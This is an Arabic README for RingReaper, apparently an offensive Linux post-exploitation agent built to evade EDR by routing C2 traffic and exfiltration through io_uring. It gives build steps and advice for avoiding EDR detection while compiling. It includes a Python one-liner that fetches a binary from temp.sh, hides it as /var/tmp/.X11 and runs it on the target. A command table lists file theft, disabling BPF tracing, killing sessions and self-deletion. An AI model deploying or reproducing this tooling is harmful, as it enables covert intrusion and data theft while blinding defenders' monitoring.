
وكيل ما بعد الاستغلال لنظام لينكس يستخدم io_uring لتجاوز اكتشاف EDR بشكل خفي عبر تجنب استدعاءات النظام التقليدية.
RingReaper هو وكيل ما بعد الاستغلال (post-exploitation) بسيط لنظام لينكس، صُمم لمن يحتاجون إلى العمل بتخفٍّ شديد، ما يقلل فرص اكتشافه بواسطة حلول EDR. كانت الفكرة وراء هذا المشروع هي الاستفادة من io_uring، واجهة الإدخال/الإخراج غير المتزامنة الجديدة في نواة لينكس، وتحديدًا لتجنب استدعاءات النظام التقليدية التي تميل معظم حلول EDR إلى مراقبتها أو حتى تعليقها (hook).
عمليًا، يستبدل RingReaper استدعاءات مثل read وwrite وrecv وsend وconnect وغيرها، بعمليات إدخال/إخراج غير متزامنة (io_uring_prep_*)، مما يقلل التعرّض لعمليات التعليق (hooks) وتتبّع الأحداث التي تجمعها المنتجات الأمنية عادةً بطريقة موحّدة.
ملاحظة: لا تزال بعض الدوال داخل RingReaper تعتمد على استدعاءات تقليدية، مثل قراءة المجلدات (
opendir،readdir) أو تحليل الروابط الرمزية (readlink)، لأن io_uring لا يدعم بعد هذه الأنواع من العمليات بشكل أصلي وكامل. ومع ذلك، خلال اختباراتي، لم تُطلق هذه الاستدعاءات أي تنبيهات على حلول EDR المختبرة، تحديدًا لأنها تقع خارج مسارات إدخال/إخراج الشبكة الخاضعة للمراقبة.
باختصار، صُمم RingReaper لتجنب الاستدعاءات التقليدية قدر الإمكان، وحتى في الحالات التي اضطر فيها لاستخدامها، أظهر قدرات ممتازة في التخفي، دون أي تنبيهات أو اكتشافات من الوكلاء الأمنيين الشائعين.
اطّلع على المقال الكامل والمفصّل على:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
المؤلف: https://www.linkedin.com/in/mathsalves/
باحثو الروت كيت
في RingReaper، يجب أن تمر جميع حركة البيانات، بما في ذلك أوامر التحكم والرفع والتنزيل، عبر io_uring. وهذا يضمن أيضًا بقاء العمليات الأكثر حساسية بعيدة عن رادار عمليات التعليق (hooks) ومراقبة EDR القائمة على الاستدعاءات التقليدية.
صُمم RingReaper من الأساس لتجاوز مراقبة EDR. تعتمد العديد من الحلول الأمنية مشغّلات الكشف لديها على اعتراض استدعاءات النظام الكلاسيكية (read، recv، send، connect) على مستوى النواة. وبما أن io_uring جديد نسبيًا وأقل اندماجًا في خط أنابيب التليمتري (telemetry) لهذه المنتجات، فإنه غالبًا ما يمر دون أن تلاحظه معظم الوكلاء الأمنيون، مما يسمح بجلسات C2 واستخراج البيانات دون إثارة التنبيهات.
حتى الدوال التي لا تزال تعتمد على استدعاءات نظام أقدم (مثل قراءة المجلدات) ظلّت متخفية بما يكفي لعدم إثارة الإنذارات.
liburingتم الاختبار فقط على إصدارات النواة التالية؛
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
أثناء الاختبار، لاحظت أن EDR يكتشف تجميع agent.c من خلال مراقبة استخدام GCC في الوقت الفعلي (من الأفضل عدم استخدام wget/curl). لتجاوز ذلك، قمت بتجميع الوكيل بشكل ثابت (static) على جهازي، وأرسلت الملف الثنائي النهائي عبر temp.sh، ثم استخدمت بايثون على الجهاز الهدف لتنزيله وتنفيذه. نجحت هذه التقنية دون إطلاق أي إنذار.
الخادم (جهاز الهجوم):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443الوكيل (الجهاز الهدف):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"الإصدار 2.0:
لا تتردد في تقديم طلبات السحب (pull requests) والمساهمة في المشروع. في حال وجود أي أخطاء في RingReaper، يرجى إنشاء issue وإبلاغنا بها.
طُوّر هذا الكود لأغراض تعليمية وبحثية وعروض توضيحية مضبوطة لتقنيات التخفي فقط. أي استخدام خارج البيئات المصرَّح بها، أو لأغراض خبيثة، محظور تمامًا ويقع بالكامل على مسؤولية المستخدم. قد ينتهك الاستخدام غير المصرَّح به أو غير القانوني القوانين المحلية أو الوطنية أو الدولية.
| الأمر | الوصف | الواجهة الخلفية |
|---|
get | جلب الملفات من الجهاز الهدف | 100% io_uring |
put | رفع الملفات (يستخدم recv على جانب الوكيل) | 100% io_uring |
killbpf | تعطيل التتبع، حذف ملفات /sys/fs/bpf وإنهاء العمليات التي تستخدم bpf-map | استدعاءات تقليدية + io_uring |
users | سرد المستخدمين المسجّلين عبر قراءة utmp | 100% io_uring |
ss / netstat | سرد اتصالات TCP من /proc/net/tcp | 100% io_uring |
privesc | البحث عن ملفات SUID الثنائية باستخدام statx | 100% io_uring |
ps | سرد العمليات (يستخدم opendir، readdir) | استدعاءات تقليدية + io_uring |
kick | إنهاء جلسات pts (يستخدم opendir، readdir، kill، readlink) | استدعاءات تقليدية + io_uring |
me | إظهار PID/TTY (getpid، ttyname) | استدعاءات تقليدية + io_uring |
selfdestruct | حذف الملف الثنائي الحالي (يستخدم readlink) | استدعاءات تقليدية + io_uring |
exit | إنهاء الاتصال والخروج | 100% io_uring |
help | عرض المساعدة | 100% io_uring |